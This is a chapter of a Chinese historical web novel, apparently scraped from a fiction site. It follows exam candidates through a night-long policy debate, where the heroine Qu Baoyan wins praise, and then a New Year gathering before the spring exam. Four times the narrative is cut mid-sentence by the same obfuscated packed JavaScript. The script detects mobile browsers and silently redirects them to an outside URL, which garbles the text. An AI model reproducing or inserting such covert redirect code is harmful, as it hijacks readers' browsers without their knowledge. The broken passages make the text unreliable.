守门的吏员举起灯笼高喊：“各省考子，依籍次序入座，迟至者当外坐听讲，不得扰内堂！” 褚清芸眼睛一亮：“快！快进去抢阵地！” 三人一动，宝桃儿已“嗖”地背着包冲上前。 初冬夜风凛冽，数百考子逆风抢座。 此刻的蕴真堂，哪儿还像什么讲学之地，根本就是——第一儒生战场。 · 好在她们来得早，阿尧和宝桃儿冲在前面，几人终于在右前方角落里占到了几张青矮榻——虽不是真正讲席正中，却也已算“临阵前沿”。 夜风不止，堂外渐有白霜浮瓦，堂内却静得出奇。 最初还有人低声念书、背题押点，但时间一长，疲惫终还是压过斗志，不知从何处起，一两个便裹着披风靠着睡了。 不一会儿，整间蕴真堂里便多出了断续轻鼾，有人抱卷斜倚，有人直接和衣而卧，有人翻身发出“咚”的一声，引得旁人梦中抽噎。 宝桃儿也熬不过去，卷着个小毯子窝在褚清芸和阿尧那头打起了盹。 萧令仪性子稳重，亦坐得端正许久。可风过堂前，她也最终还是倚着几册旧卷，微微阖眼，沉沉睡去。 瞿宝砚仍旧不觉困乏。 她裹了件大氅，手中仍捧着那本《会典精解》，指腹一页页摩挲翻过。 她并不是紧张，只是觉得这夜静得沉，正适合读书，又仿佛等待着某种即将开启的喧哗。 翻页间隙，她抬头看了一眼四周——只见堂前堂后、柱角檐下，满堂皆是横七竖八的青年学子，披被而卧，或坐或躺，姿态各异。 莫名的，她有些想笑，又有些想叹。 这便是天下读书人，奔了千里、越了风雪，半夜抢着一场讲策，只为明日听一两句“可能出的题”，哪怕困成这样，也必须要来。 她轻叹着摇了摇头，又接着低下头看书。 不知过了多久，眼皮终是微沉。她合上书卷，倚着身后矮案打了个盹儿，仿佛只是一呼一吸之间—— 忽听耳边有人轻唤：“小姐、小姐！” 是宝桃儿的声音。 “小姐，座师先生们来了！” 瞿宝砚睁开眼，轻轻应了声，慢慢起身，抬头望去。 堂前角的灯芯燃尽，堂外天光大亮，整个蕴真堂仿佛从沉眠中苏醒。 只见讲坛前只有一盏朱漆灯稳稳燃着，堂中正门一开，几位长者缓步入内。 为首者一袭深青官袍，手中执着竹卷，神色冷峻，眉目削刻分明。未开口，先开了气场，像是这屋里所有动静皆逃不过他的目光。 宝桃儿悄声问：“那是谁？” “杜清严。”褚清芸低声接道，“今科座师之一，户部出身，号称‘策题鬼手’。说话一字不带重的，批策时那是写得满卷红字，把人活活吓死。” 随他之后，第二位座师身量清瘦，气度温文。走入时脚步极轻，似乎生怕扰了满屋文气。 “这第二位是张牧原，礼部旧人。”萧令仪低声道，“最擅问答、论势，策评如棋局，一眼就能看穿你文章里的漏洞。也是如今礼部那些堂官的大前辈。” “还有一位未见——”瞿宝砚道。 话音刚落，第三人缓缓踏入，未穿官袍，亦无章佩，身着一件半旧素衫，拄着竹杖而来，须发皆白，却眼神清亮如电。 全场一静。 “——那是前朝中进士、太学讲书十载的白砚生。”褚清芸眼一亮，“这位是真正的‘策坛活石’，许多当朝高位的御史、侍郎，可都是他当年讲堂听出来的。” 三人入座，各执一卷。 杜清严抬眼，望了一圈满堂：“今科考子，三十六省皆到。你们愿挤这一夜，便是知此地为何而设。” 他声音清冽，带着一丝官气惯有的肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042139|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀。 “对策谈论非文字之竞，不是考你对仗排比，也不是绕句雕词。而是——对时局的识、对政务的断、对人心的度。” 他顿了顿，目光微冷，落在厅中前方一排。 “今夜之议，命题一则，不定时限，不设名目。诸位自愿执笔。今日非试，却胜于试。若谁敢自夸‘上策成文’，便请于此处大声读出，众师同评。” 厅内鸦雀无声。 白砚生将竹杖轻轻一敲，呵呵摸了一把下须：“杜大人这话说得不差，只是太吓人了。” 有人笑出声，气氛略松。 白砚生双手拄着竹杖缓缓道：“世道之难，不在策里，而在笔外。愿闻诸位之议。” “来，今日议题——”他拈起桌前一页纸，轻轻展开： “议当今土地征赋与兵役编制之弊，兼论民劳与国用之衡。” 全堂一静。 白砚生一声轻落，那策题仿若一柄重锤砸入堂中。 砸得众人一时有些发懵。 「议当今土地征赋与兵役编制之弊，兼论民劳与国用之衡。」 短短一行纸墨，堂中气息顿时一紧。 最初几排原本昏昏欲睡、满脸疲态的考子，一下子都直起了背。有人下意识摸向笔墨，却又顿在半空，脸上浮出明显的迟疑。 “……这题太大了。” “赋役归田，兵籍轮役，牵扯的是整个朝廷的制度。” 人群中有人低声道：“这不是朝廷最忌讳让人妄议的吗……敢写、敢言，怕是要小心惹祸。” 也有人皱眉喃喃：“粮税早改过一次，边地已实行新役制，还要怎么论？这不是挖墙脚吗？” 一时间，堂中静得仿佛能听见笔尖的呼吸。 就在众人迟疑间，前排忽有沙沙几声落笔之响。 有人动了。 这块儿人群中褚清芸最先执笔，毛笔在手，“唰”一声点墨开篇，落笔极快，显是早有腹稿。 “她写了！”后方有人惊讶低呼。 “……北地出来的，写兵役自然有话可说嘛。” 而在角落里，宝桃儿也麻利展开了笔砚，用力蘸饱了墨，递到瞿宝砚面前，小声道：“小姐，墨好了，写吧。” 瞿宝砚点了点头，却并未急着添墨下笔。 她脑中将题目复诵过三遍，此刻所有声音都仿佛远去，而往日所读过的所有政经书卷似乎也一并忘却，心念如风穿林。 瞿宝砚指头在策纸上点了点。 此题所涉土地征赋，兵役编制，及民劳国用，皆为一国之根本。 题面虽简，实则为三策交织，五政相系。 土地征赋，系天下权财之本；兵役编制，关国家用人之机；而“民劳与国用之衡”，则更上一层，直指政体能否平衡运作，社稷能否久安长治。 首先，若论征赋，须察田籍实况。 今岁诸省普遍出现“田多未报、税负不均”之患，尤以兼并、隐田、逃籍为甚。若征赋之法不能回归于实，则其轻重之议，终属空谈。此为“名不副实”之弊，非改章则、厘册籍而不能治。 8. 一策开篇2 而论兵役，则触及募兵与轮役两制之交错之弊。 朝廷虽设调制以应边防，然军籍多虚、军粮多迟、兵不当调、人不堪役之情，早成积疾。募则有怠，轮则不均，根在制度不清、责不归位。 二者虽分，然终须归于“衡”。 赋者，不可尽轻；兵者，不可尽裁。 但若一味从国用出发，而轻忽百姓之疲弊，则赋役既设，而怨乱自生。 是故衡，不在于减增，而在“公”与“统”，即如何在保障政务之需与不至压垮民力之间，寻得可行之策，是为上答。 由此可见，此题之难，不在文辞之工巧，而在作答者心中是否有一副全局之图、兼沉稳之识。既能正视现实弊病而不偏激片面，又不陷于空疏之谈、流于虚理。 这几位考官设此题，其意恐有三重。 一考识局识人。 君子为政，首在明大势，洞时弊。策题虽关赋役、兵制，若只见田赋兵籍之弊，未免.流于寒士之见。实则所问者，并非一策之得失，而在于你如何看待这天下。能否看清百姓之所困、朝廷之所弊、世情之所趋？能否在权与民之间看出深水暗流，见得是非曲直？ 二考政术胆识。 立策见心，落地为术。若只能陈述利害而无一策之解，是为旁观；空论纵千言，终不值一听。若能一言立法、一策成制、一谋可行，兼顾国用之需与民力之艰，且言之有据，行之有道，则可见真才实学、济世之能。 三考立场底线。 一篇对策，虽呈于座师案前，却是纸上所向，心中所依。你笔下所忧，是朝政之患，还是黎庶之苦？是为上者献策以图功名，还是为下者陈情以代其声？是一笔字写满律令条文，还是敢在纸上写一个“衡”字，叫天下看见公平可施的希望？ 此中轻重，笔笔见真。 故此一题，虽只一行，却如悬梯：能登其上者，见其志；敢步其稳者，则识其魂。 外头冬风微响，堂中却无声。 旁边的宝桃儿见自家小姐迟迟不落笔，心头愈发紧张。 满堂考子，有人眉头紧锁，有人奋笔疾书，连一向满嘴跑马的褚清芸也早已写了满纸。可她家小姐，却静得仿佛坐在空山禅室里，眼神凝在素纸上，手指也不动一分。 宝桃儿忍不住轻轻凑过来，小声试探：“小姐……还要我做什么吗？” 瞿宝砚没有动，像是没听见。 片刻，才缓缓提笔在纸上写下： “赋不可轻，兵不可乱，策不可偏。” 三句，落定如钉，不再动笔。 宝桃儿有些愣住：“这就，这就没啦？” 瞿宝砚笑了一下，未作解释。 宝桃儿看着宝砚眼中的光影，不由自主呼吸轻了几分。似乎隐约明白了——她们小姐不是写得慢，而是早已心有成卷了。 此时，堂前忽有响动。 一名考子起身，执卷而立，声音尚带几分忐忑： “座师大人，学生愿朗策一篇，恳请诸位指正。” 此言一出，有人立即坐直了身张望而去，有人翻起案前草稿，也有人低声交换眼色，显然各有心思。 堂中的白砚生微微一颔首。 那位考子显然信心十足，他身着朴素青衫，稳了心绪，便开口朗声道： “田赋之重，古来有章。今之弊，不在赋之多寡，而在赋之分配不均。是以当重清籍册、明地契，防兼并而止逃籍。” “兵役之乱，非募非轮之失，而在执行不公。募兵之弊，在贵门私揽；轮役之忧，在贫民不堪。欲除其害，宜设专官、分省调配，责成归一。” “夫民力有限，国用无穷，若不量力设政，则国虽富而人不安。唯有立衡于赋役之间，定法于贤能之手，方可致太平之基业矣。” 他一气读完，堂中寂然。 褚清芸挑眉：“倒还成章。” 萧令仪也微一点头：“文字尚整。” 宝桃儿忍不住耳语：“小姐，他说得……是不是也挺对的？” 瞿宝砚没有应声，指间轻抚着纸边。 就在这时，堂前的杜清严缓缓放下手中竹卷，声音如铁落案。 “文辞尚可，结构无虞。可惜——所论皆皮相，所解无深意。” 他抬眼，冷冷望向那朗读者： “你说‘分省设官’，却未提财政从何调配；你言‘防兼并’，却不述何法可防。整篇策论，如描面而不绘骨，只知其痛，不识其病。若你是将帅，则难定军策；若你是官吏，则难成施行。” 那朗读学子脸色微变，手中握住的策纸几欲不稳。 杜清严再一击：“文可托名，策须托事。写得一手文章，落不到一纸法令，不过是说与街上的说书人听罢了。” 堂中哗然一震。 那考子满面羞惭，抱卷低头退下。 有几个原本蠢蠢欲动的考子，也赶紧把手中的草稿又悄悄折了回去。 前头那位考子方才退下，堂中尚余低声，窃语未平。 忽听中排一声清响。 “学生也愿一读。” 众人望去，只见一位衣着鲜亮的女子站起身来，眉眼冷利，嗓音清亮透底。 褚清芸大剌剌执卷而立，没什么铺垫，开口便是一道斩钉截铁的题眼： “征赋之弊，在于地权不明；兵役之病，在于民力未衡。” “如今田亩兼并之风愈炽，宗室士绅囤田不报，贫民却负役如山，形同二税三徭。军额之虚、兵籍之假，不在制法，而在执行上下推诿、主官避责。募兵者报额不实，轮役者调配不均，西北屯营之困，宁朔调粮之迟，皆是其果。” 听至此，前几排已有人微微颔首。 褚清芸语气未缓，笔锋转而切至正题： “故而当从‘籍’下手，定田主、清户名，复查田税册籍，以对等编役；又应设实役之司，监察轮役之责，兵不入营者，主官并罚，募兵作假者，主卒追责。兵粮应分边策划，征赋应由民负上报，设官则裁、设令则清，始可令赋役有度，军民两安。” 此言一出，不少人微露惊色。 她策中没有花俏对仗，亦无柔语，满纸皆为实地所见、旧策所学，与书卷中那种“文风中和”的答法全然不同，却——句句能落地，句句能施行。 她缓缓读完，堂中片刻寂静。 白砚生轻笑了一声，眉间多了一分难得的赞许： “文简意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042140|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深，有断有策。此策虽不华，然可行。” 他并没有继续点评下去，转而抬眸看向众人，笑言：“诸位以为，此策当作何评？” 堂中一静。 忽听一声温润如玉的嗓音自前列起： “学生有言。” 人群稍稍侧首，只见一位身穿月白直裾的青年缓步而起，眼神澄澈，语声带着江南水意。 ——江右书院，顾箴言。 他说话极有分寸，却并不回避锋芒： “褚女史此策，言之有理，亦落于实用。然学生以为，其策虽稳，却偏于一隅。策问者，治全局者也。” 他顿了顿，手中折扇微展，语气从容，缓缓道来： “北地有兵困粮荒之忧，策役诚为当务之急。然江南地势平阔，未有边警，其重不在兵，而在赋。若一律推行军役之策，于江南各郡，无异一药而治百病，则恐失其本。” “学生以为，策问之要，在因地施政。江南百县，田畴丰盈，民多习耕善贾，赋重则伤生计，役轻反可保安业。西北则政军分途，调营募役之制，当分责明权、按地施令。若欲言‘国用与民劳之衡’，则所衡者，非独边患之轻重，亦当察内政之沉浮。‘衡’，非一尺可度，而当是一秤可调。” 说罢，他缓缓作揖，落座如风归水。 一众人神情各异。 有北地出身的考子已然眉峰微蹙；有南方学子则轻轻颔首。 褚清芸原本抱臂而坐，此刻嘴角一挑，淡淡道：“江右出来的，嘴上果真好看。” 岭南出身的萧令仪却轻声：“他说得不错。” 顾箴言刚落座，忽听一阵轻靴敲地声自后而起。 一位衣饰雍容的女郎缓步而出，身着墨紫织金的窄袖襦裙，裙摆绣着蟠螭宝相，乌发高束，腰间嵌玉。她眼神静定如水，眸光所过之处，竟无人敢轻语。 她微一举卷，声音不高，却令人不由自主屏息： “学生亦有一言。” 堂前座师对视一眼，其中一位低声道：“宗室——郡主之女，宁庆。” ——成安郡主之女，宁庆，郡人皆称：“庆三娘子”。 她未曾先自陈出身，也没什么客套话，只一句话便步入正题： “今论土地征赋、兵役编制，诸位皆以地分事，以事分策，皆属正理。然学生以为——此题之难，不在赋，不在兵，而在‘权’。” 她缓缓扫过四方，言语平静却句句生寒： “兼并者何人？逃籍者何人？募兵不实、避役不当，究其根本，不皆出自权门之手？今日所论，似皆治法、调令、册籍、调役，然真正能‘不纳赋、不服役’者，并非庶人。” 有人轻轻倒吸一口气。 庆三娘子声调未高，却带着一种贵族女子特有的冷锐： “若只修法不动权，只调役不剪权，只核田不夺权——便是你文写再好，也只敢施行于寒门一户，不敢动一位贵胄。故今日策论，皆善。唯独少一件事——谁来动‘权’？” 堂中一片死寂。 有人默默小声道：“哇，也就宗室女子敢这么说哇。” 宝桃儿嘴巴微张，瞄了眼瞿宝砚。 瞿宝砚淡淡一笑。 9. 一策开篇3 策堂气氛正盛，几番妙语交锋，众人屏息。 忽听堂东席上传来一声极轻的笑，那笑不大，却叫周围瞬时静了三分。 韩璟手执茶盏，姿态懒散，锦衣松松挂在身上，一身贵气偏偏生出几分不羁。 “好一句‘谁来动权’。” 他慢慢起身，目光扫过满堂，声音低而清，“这一句话，怕是比写三千字还叫座师们头疼。” 堂中人屏气凝神。 韩璟却偏偏不着调地一笑：“诸位话是好话，人人爱听。” “可你敢动兵？边营多少亲王节度，戳一根草都得过三道本章；你敢减赋？户部三年预算早刻在玉版上，章程一改，仓口一空，到时候北地欠饷、南地怨声，少一两银子你看他们哭不哭。至于那‘权’……我劝各位还是纸上谈谈得了，真要动了，御史台的折子都不够你写的。” 他斜倚案几，笑意潋滟：“你们写策是写‘理’，可朝堂是讲‘势’。你策再正，没个借力的人，恐怕都翻不了一页奏本。” 话落，堂中不少人神情微变。 可下一刻，只听“啪”一声清响，一卷策纸重重摔在了案上。 “你倒是会说。” 褚清芸起身，身姿挺得笔直，眼中已带了几分怒意。 “什么‘兵你动不得，赋你减不得，权你碰不得’——你还不如说我们都别考了，省得浪费纸张！” 韩璟挑眉，一手撑着脸，懒洋洋：“这话我可没说，是你自己悟的。” “你确实没说，”褚清芸冷笑，“你说得更高明。你说我们笔下无用，说我们空谈政理不如认命认权。你想得可真通透。” 她目光如刃，直直逼去：“可惜了——你以为人人都跟你一样，养尊处优，玩得起‘权势之下皆虚妄’这一套？” “我北地军屯，百姓冬粮都靠军营发放；边关将士三年不回家，就靠一个策文换调令；你倒好，翡翠扳指、玉暖茶香，说一句‘策无用’，这就想劝天下士子都别写了？” 韩璟似笑非笑：“我哪有本事劝天下，不过就着茶香讲两句实话罢了，直言逆耳嘛。” 褚清芸冷哼一声，声音拔高几分：“你那不是实话，是臭风凉话！你若真瞧不上，尽可以不来——可既然你来了，就别妨碍别人写一纸‘能改天命’的策。” 她说完，拂袖而坐，仍不解气，又补了一句：“哪怕是写一篇没人敢看的策，也总比你在这喝茶泼冷水强。” 堂中一片哗然，半数人神色都忍不住带笑，甚至有几位才子背过身去轻声叫好。 韩璟盯着褚清芸看了片刻，忽而轻笑一声：“好，好得很。” “褚家女郎，不愧是把兵书当儿歌听的——刀都快砍到我脖子上了。” 他不怒反笑，似乎兴致更高了几分。 而一旁的座师杜清严眉头微蹙，伸手敲了敲面前案几：“肃静，肃静！争锋易，议理难。策堂之设，不为斗言快口，而在文章立理。诸君若真有见地，不妨以文胜。” 堂中顿时一静。 可也正因这一静，竟无人应声。 这一刻，在座诸多学子，心中多半不是愤怒，而是一种说不清的沉默。 他们知道，自己既不是韩璟那般高门出身，言语之间自带通透朝局的犀利；也不像褚清芸身后拥兵，有胆有锋、有底可撑，怒而揭底。 他们多半不过是一路从州县书院、窄巷之间，千里跋涉而来的普通士子，只为在来年春闱中一搏功名，拿个好名次，挣口气，回家给父母一个交代，日后有俸可领，有职可依，有亲可结，能养家，能在寒冬时不欠柴米。 他们当然也会说“权归于民”、“赋役当均”。可他们更知道，策堂之外，是谁握兵，是谁管银，是谁签调令、批奏折。 他们不是不懂“理”，而是他们也太明白“势”。 沉默不是因为无话可说，而是知道，有些话，说了也白说；而有些事，纸上写得再漂亮，也落不到自己头上。 他们只盼这张策纸写得端正，字迹别太潦草，语气别太张狂，能被座师看得顺眼些，落个中上的批红。 至于“改天命”—— 那是有天命的人才配改的。 就在这沉默将凝不化之时—— 只听一阵极轻的布声。 是有人起身了。 那动静不大，却在此时显得分外分明。 周围三排学子几乎同时转头。 只见瞿宝砚身着一袭素净青袍，眉目澄澈，姿态端然，起身立于长案之后。 她不疾不徐缓缓朝座师与诸生先行了一礼，接着开口，语声不高，却字字清晰，落地有声： “学生以为，‘权’不可轻议，亦不可不议。若只因权重而讳言、因难行而避谈，那天下之事，岂非永无可解？百官百策，各言其便，不如不策。” 她环视堂中众人一圈，神色平和。 “适才诸君所论，皆有精义：褚女史见于兵制，顾学子取法地理，庆三娘子直斥权失之弊，韩公子亦言政情之实——皆是所见之真，然非所行之全。” 她顿了顿，语锋微转：“夫实情未必即真理，局中之困，实不应为思辩之终。若以‘动不得’为前提，便不议如何动之；以‘改无用’为注脚，便不图何时可用；久之则政务惰而不思，策者怯而不言，于是权失于积弊之中，理困于成文之内，天下之事，遂日益艰而其政亦废也。” “今策堂设而不问未来，则策问成空。然生民多艰，庶政待理，正需集群策以通方略，汇众思以启新章；以一衡之理，探万变之道。此乃吾辈当下之责，亦是诸位自四方而至，汇此一堂之本心。” 这话说的堂中众人皆为之一震。 她抬眸望向堂中： “《周官》言‘均地九州，以任民事’，又云‘制禄以制赋，制赋以制役’。是以古制之设，非一成不变，而因时制宜，因地设策。今我宁国，南粮北兵，东富西贫，若不察其势，不分其宜，拘于一制，反生不适，轻则政弊，重则民怨。” “故而，学生所议，名曰‘役赋分级法’——” “以五等地理划境：滨海、岭南、河套、边陲、丘田。各地赋役权责异准，不一而足。以三等户籍分类：田主、佃户、无地。赋役轻重，随户而设。以劳役可承度设阶梯：每岁由州县按地户情形，核定役力可出日数，设“役限总额”，再于村社之间统筹调度，力求均衡。” “其要义有三：一曰以富代劳：于商贾繁地，役力难出、银粮可供。准其银换役，以利征收；二曰轮役可调：于兵屯重地，设‘兵户轮调’制，每三年一换，常役常休，以保民力不竭；三曰赋役不并征：防止地方以名目重叠之法，加赋于役，防冗防滥以保障民生。” 堂内学子已然屏息。 座师张牧原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042141|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的指节在桌面敲了敲，目光微亮。 韩璟则轻轻扬眉，盯着她看。 瞿宝砚继续道：“此法下，设‘均赋总局’，隶中书而不属六部，专责实籍清查、负担测定、疑点再核，每年春审秋议，与地方‘民议长’协定年度配额。” “其监督亦需制衡。故增设‘三印勘查制’：地方司录籍，为初印；中府核定，为二印；御史巡按，乃终印。三印不齐，不得施行，防止上下交蒙、独断成祸。” “此策之设，非图一劳永逸，实为当下可行之法——可施于政，可推于地，可因方制宜。正所谓：‘法不离俗，政不越人’，制度之于天下，贵在活而不乱，广而不滥，正而不偏。” “而所谓衡，不在等量于人，而在量其所能，使劳有所值，赋有所依。所求非平天下之力，而是使天下之人，皆有力可尽，尽其所能。” 瞿宝砚语落，堂中静得落针可闻。 良久，座师白砚生才叹谓了一声，缓缓评价道：“此策非‘为上所悦’，亦非‘为下所怜’，实乃——为天下所中正也。” 一排学子中，有人正伏案执笔，刚要速记，却忽然愣住。纸上只写了一行“地势五等、户分三品……”便停笔半晌，冷汗顺着鬓角滑落。 旁边一人叹气道：“抄都抄不来……这根本就不是能抄得了的策……” “写不出，记不全。” “她那句‘三印未齐，不得施行’，我刚听懂就忘词了。” 一人索性将笔一丢，靠在身后长案上，轻轻骂了一句：“她写的哪是策，是朝章初稿。” 褚清芸却是最先笑出声的那一个，笑里是罕有的佩服与畅快： “我是真心服了，真姐们儿，干得漂亮。” 一侧萧令仪也颇为感慨地看着堂中那道静静站定未动的身影。 “原以为只闻其名。今日才知，传闻尚浅啊。” 说着慢慢合起膝上未写完的纸页。 而不久前，刚痛骂过眼前这位女解元的冯子阳此刻也在场。 这一刻，他脑海里闪回的不是堂上的策题，而是那日在江舟之上，他醉酒出言不逊，那人只是语调平静地与他道： 澄州不过一隅，宁国三十六省···何必着眼于一时高下—— 他攥紧了手中纸卷，羞愧涌至喉间，却又忍不住仰头望向她，胸口深深起伏。 此刻，他是真心为之折服了。 堂前白砚生轻声开口： “这位学子，敢问如何称呼？” 瞿宝砚抬手一揖，语声清正： “晚辈，澄州瞿宝砚。” 白砚生与左右座师相视一眼，都看得出彼此眼底的赞许，继续道： “诸君，今日之论，非为争锋胜负，而在启智明道。但若要记‘一策立纲’，今日之席——吾，首推澄州。” 堂下静默三息。 然后，不知是谁轻轻叩了两下桌面。 紧接着，三两声敲案接连响起。 渐而，一排排学子纷纷抬手，以“文堂之礼”敲桌示敬。 随即案声自发地逐浪而起，自堂前而后席，层层递涌，如风掠松涛，似雨震江面。 须臾之间，整座策堂百余人齐鸣案响，节奏如鼓，声若潮生，极为震撼。 ——这一刻，无须言辞。 一堂寒夜，万卷风生；一纸策问，名动京师。 10. 三日会试 蕴真堂一讲策问之后，澄州瞿宝砚之名便在云台迅速传开了，一时成了诸院学子口中的风云人物。不仅云台之内，庙堂之上，亦有人私下悄然打探其名籍出身。 而策问之后，云台诸院内的读书也更紧了，本以为不过一场院中练笔，谁料策题所引、座师之评，处处叫不少人忽然见了自己曝露的短缺，一时之间，也收了清谈客气，回了院子埋头苦干起来。有人转手誊抄瞿宝砚那日的策文比对精读，有人夜半惊坐而起查典对案，生怕下场策问再会错了题眼、漏了关键。 天寒之际，众人补书、对典、誊策，却是争分夺秒，热火朝天。 毕竟——距春闱，只剩不到三月。 只是，松鹤院前，倒比往日清净多了几分人气。 偶有学子路过门前，停步踟蹰，或佯装看雪，或低头翻书，或悄眯门缝，实则都想碰碰那位“策中写下衡道”的澄州瞿解元，可惜无人敢真敲那扇门的。 毕竟——人情未熟，礼节又重，大家也不好意思冒昧唐突。 正月初一未至，云台却已迎来新雪。廊下竹影横斜，枝头素白压顶，小院几乎被染成了一幅素墨淡雅的古画。 而褚清芸的小院里，却自成一派热闹光景。 院中灯笼新换了红绸，屋檐下悬了几盏北地民俗流苏花球，小门两侧挂着金字春联，红纸迎风轻摆，映得整个院子透着一股喜气洋洋的暖意。 雪地里已堆起两个团团的雪人，绿珠还在给其中一个戴花儿，插鼻子，宝桃儿笑得东倒西歪，阿尧在一旁小心地扶着树枝挂灯，嘴里小声嘟囔着“可千万别压坏了小姐的腊梅”。 屋里火炉正旺，暖意融融。褚清芸一身大红织金比甲，里头是云纹烟青襦裙，站在书桌前，边烤火边啃糖藕，嘴角沾了糖也不管，伸手就去拿笔，歪着身子朝屋外瞥了一眼。 她扬声喊道：“快来快来，你们俩都进来写对联子！” 院子里，瞿宝砚和萧令仪正围着小炉烤栗子拨碳。听她喊，萧令仪应道：“你屋里的对联不是早就挂上了？现在才写？” 褚清芸笑得满脸得意：“那不一样，同届考生，你们的墨宝可得进我宝箱里好生存着。你说咱们仨天南地北来的，能住在同一块也是缘分，今朝还一起过年，吃了团圆饭，可就是一家人了——快点快点！” 瞿宝砚听她催得急，只好也笑着起身：“你宝箱里不是只放簪子和账本，还有我们的位置？” “今后就专门空一格放你们写的！”褚清芸一边嚼着糖藕一边恭维，“红纸我备好了，墨我都研上了，就等诸君这‘无价之笔’了。” 萧令仪先进了屋，也不客气，接过笔：“那我也不跟你客气了。” 今日她穿了一身素白裘，衣衫间点缀浅银暗纹，立在红纸前时，竟像檐下初雪映寒梅，清静又冷艳。 只见她执笔在红纸上，转腕落字，笔势如松。 上联：“春风先至桃花院。” 下联：“雪意半融岭上梅。” 褚清芸凑过去一看，眨了眨眼：“咦，你还知道我小名叫桃花呢？” 萧令仪放下笔：“没事谁打探你小名？桃花院，寓意贵人先至、春信入门；岭上梅，则是雪未尽，花已开，守寒不凋——是说你。” 她看了褚清芸一眼，“你性子再烈，也还算是那早开一枝的。” 褚清芸一噎：“我谢谢您。” 屋中一阵轻笑。 这时，瞿宝砚才从外头进来，步履稳静，雪落在她肩头未化，飘落身后。 她一身青袍窄袖，衣摆熨帖，袖口收得利落，自有清劲风骨。 褚清芸见她进门，立刻唤道：“别磨蹭了，到你了到你了。” 瞿宝砚走到书案前，扫了一眼两旁已写好的对联，眼中露出一点笑意。 她不急不缓地执笔，略一沉吟，便在红纸上落下两句： 上联：“梅雪初融冬后香。” 下联：“桃花未动人先闹。” 萧令仪低眉看了一眼，噗嗤一笑。 褚清芸先是一愣，接着反应过来，笑着拍案：“好啊，瞿宝砚，你什么时候学会这套了？先捧一句，再拐个弯打回来！” 瞿宝砚与萧令仪相视一眼，一同放声笑起来，惊得桌前的炉火忽然跳了跳。 屋里笑声未歇，檐外雪落正浓。 入夜，吃了年夜饭，几人一边抿茶烤栗，一边说着旧事新愿，褚清芸兴致愈浓，非要拽着绿珠扮关公、叫阿尧装财神，连宝桃儿也被她拉进来胡闹了一通。小院里一片欢声笑语。 夜雪轻落，炉火微明，整座松鹤院都罩在一层红灯雪影之间。 那一夜，天下未动，春闱未至，她们还只是云台里的少年学子。 而后来许多年，那炉火旁的温意，也成了她们各奔东西疲乏途中，最常入梦的一处暖影。 春雪初消，枝头乍绿。 云台后山那片老梅开了几枝，风一吹，落花如雨，零碎打在地上。鸟鸣声渐多，小湖水光潋滟，连廊边挂了一冬的红灯也悄然撤下，换上了竹帘。 不知不觉，竟已是开春。 而春闱——也终于到了眼前。 这日天刚破晓，城中贡院外，已是车马辘辘，衣袂交错。一道道身影鱼贯入内，青袍、乌带、布履声声。 贡院朱门大开，人影重重。坊正高声唱名，官差巡马而过，一切肃然有序。 巷口一侧，老陈拎着食盒站在墙边，身边是宝桃儿，裹着件碧绿袄子，正搓着手，频频张望。 瞿宝砚今日换上了统制的考生正服，白袍蓝带，鬓发齐束。她神色沉静，步履如常，仿佛不过去寻常赴一场讲课。 宝桃儿却一颗心吊在嗓子眼，几次想开口，又怕自己说错话扰了小姐心绪，只能跟在后头，连呼吸都小心收着。 她心里反复念叨：所有东西都备好了，没落下什么……水袋干粮也带着了……笔也备了七八支，合该够用……待她自个儿确认了几遍不会出什么差错，想再跟瞿宝砚对一对，但又怕自己太啰嗦，只好把肚子里的话都强行咽下去。 临近人墙前，她终于忍不住跑上前拉了拉瞿宝砚的袖子，声音小得快被风吹散： “小姐……进了里头可要慢慢写，不要太赶……也不要太客气，该说的就说，该写的就写……” 瞿宝砚回头看了她一眼，笑了笑，抬手覆上宝桃儿的手背，稳稳轻拍了下。 “安心，三日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042142|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后来迎我便好。” 宝桃儿重重点头。 瞿宝砚说完，转身入列，背影消失在一片学子人流之中。 